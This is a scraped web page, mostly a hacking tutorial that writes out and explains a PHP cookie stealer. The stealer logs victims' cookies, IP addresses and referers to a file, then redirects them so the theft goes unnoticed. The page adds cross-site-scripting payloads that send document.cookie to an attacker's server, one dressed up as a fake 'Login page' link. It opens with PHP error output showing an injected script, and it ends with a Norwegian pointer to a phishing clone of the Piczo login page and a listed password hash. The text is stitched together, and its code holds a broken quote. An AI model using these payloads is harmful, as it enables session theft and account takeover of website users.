Warning: file_get_contents() [function.file-get-contents]: Unable to access SCRIPT LANGUAGE = \"JavaScript\">window.location=\"http://www.google.com\";</SCRIPT> in /usr/home/web/wno125740/dorull.net/piczogui.php on line 91

Warning: file_get_contents(SCRIPT LANGUAGE = \"JavaScript\">window.location=\"http://www.google.com\";</SCRIPT>) [function.file-get-contents]: failed to open stream: No such file or directory in /usr/home/web/wno125740/dorull.net/piczogui.php on line 91

Warning: file_get_contents() [function.file-get-contents]: Unable to access SCRIPT LANGUpiczo.com/go/shoutbox? in /usr/home/web/wno125740/dorull.net/piczogui.php on line 95

Warning: file_get_contents(SCRIPT LANGUpiczo.com/go/shoutbox?) [function.file-get-contents]: failed to open stream: No such file or directory in /usr/home/web/wno125740/dorull.net/piczogui.php on line 95

window.location=\"http://www.google.com\";" target=_blank>SCRIPT LANGUAGE = \"JavaScript\">window.location=\"http://www.google.com\"; (endre)

Writing the stealer.
I will give you the script and after that I will explain what it does line by line. So here it is:

1 <?php
2 $cookie = $_GET['c];
3 $ip = getenv ('REMOTE_ADDR');
4 $date=date("j F, Y, g:i a");;
5 $referer=getenv ('HTTP_REFERER');
6 $fp = fopen('cookies.txt', 'a');
7 fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
8 fclose($fp);
9 header ("Location: /picture.html");
10 ?>

That's all! Well, time to explain:

1: <?php Opening tag for php... that's just all
2: $cookie = $_GET['C']; Here the variable $cookie gets the content out of the adress, from what's behind C=[the cookie]
3: $ip = getenv ('REMOTE_ADDR'); That's the IP of the person which is redirected to our stealer.
4. $date=date("j F, Y, g:i a");; This sets the variable $date the current time and date, IMPORTANT: this is done in dutch way, so year - month - day!
5. $referer=getenv ('HTTP_REFERER'); That must be the referer, don't you think =p
6. $fp = fopen('cookies.txt', 'a'); This specifies the file which has to be rewritten with the cookie, and 'a' stands for the way of writing, in this case adding the new content to the end of the file.
7. fwrite($fp, 'Cookie: '.$cookie.'\n IP: ' .$ip. '\n Date and Time: ' .$date. '\n Referer: '.$referer.'\n\n\n'); This line writes the content to the file.
8. fclose($fp); Close the file (dûh)
9. header ("Location: /picture.html"); send the visitor to another page, so he wont notice that the cookie is logged... ofcourse picture.html can be everything.
10. ?> The closing tag for a php-script

Now we have to know how to make the link:
This must be the most basic version:

<script>window.location('http://www.mysite/cookie.php?c=' + document.cookie)</script>

But when doing it hardcore, you can do it this way:

<a
href=”http://www.example.com/index.php?page=<script>document.location.replace('http://www.mysite.com/log.php?c=' +document.cookie);</script>”
onmouseover=”window.status='http://www.example.com/login.php'; return true”
onmouseout=”window.status=''; return true”
>Login page</a>

Be creative!

IMPORTANT:
Last but not least, don't forget to create a cookies.txt on your server and chmod it 666...

Links:

http://www.php.net // all about PHP
http://www.ipswitch.com // WS_FTP
http://www.google.com // Use it goddamnit!
http://www.hackthissite.org // The only site this article may be published!


Greetings to the free world,
SjaakRake (NL)

Ta en kikk på denne:
http://home.no.net/dtnorsk/piczo1.php
Det er en nøyaktig kopi av piczo forsiden, men sender deg til et helt annet sted når du logger på.

Brukernavn: ynkeykødd

Passord: 691bc76101bd63f72eee7e00b87d9905